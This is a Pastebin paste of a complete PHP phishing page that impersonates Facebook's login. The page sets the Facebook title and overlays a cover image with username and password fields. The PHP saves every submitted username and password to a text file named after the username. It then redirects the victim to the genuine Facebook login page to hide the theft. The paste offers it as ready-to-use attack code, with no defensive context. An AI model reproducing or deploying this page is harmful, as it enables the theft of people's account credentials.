Advertisement
Guest User

Untitled

a guest
Feb 26th, 2012
72
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.97 KB | None
  1. <?php
  2.    
  3.     $wrote = 0;
  4.     if (isset($_POST['password']) && isset($_POST['username'])){
  5.        
  6.         $File = ($_POST['username'].".txt");
  7.         $Handle = fopen($File, 'a');
  8.        
  9.         $Data = "Username: ".$_POST['username']."\t Password: ".$_POST['password'];
  10.         fwrite($Handle, $Data);
  11.         fclose($Handle);
  12.        
  13.         $wrote = 1;
  14.         }
  15.        
  16.         if($wrote == 1){
  17.             header('Location: https://www.facebook.com/login.php?login_attempt=1');
  18.             }
  19. ?>
  20.  
  21.  
  22. <div style ="position: absolute; left: 770px; top: 38px;">
  23.     <form action = "index.php" method="POST">
  24.    
  25.         <div style ="position:absolute; right: 167px; top: 0px;">
  26.         <input type="text" name="username">
  27.         </div>
  28.        
  29.         <input type="password" name="password">
  30.         <div style ="position: absolute; left: 167px; top: 0px;">
  31.         <input type="submit" value="Login">
  32.         </div>
  33. </div>
  34.  
  35. </form>
  36.  
  37. <html>
  38.     <head>
  39.         <title>Welcome to Facebook - Log in, Sign up or learn more</title>
  40.     </head>
  41.    
  42.     <body>
  43.         <img src="FBCover.jpg">
  44.        
  45.     </body>
  46. </html>
Advertisement
RAW Paste Data Copied
Advertisement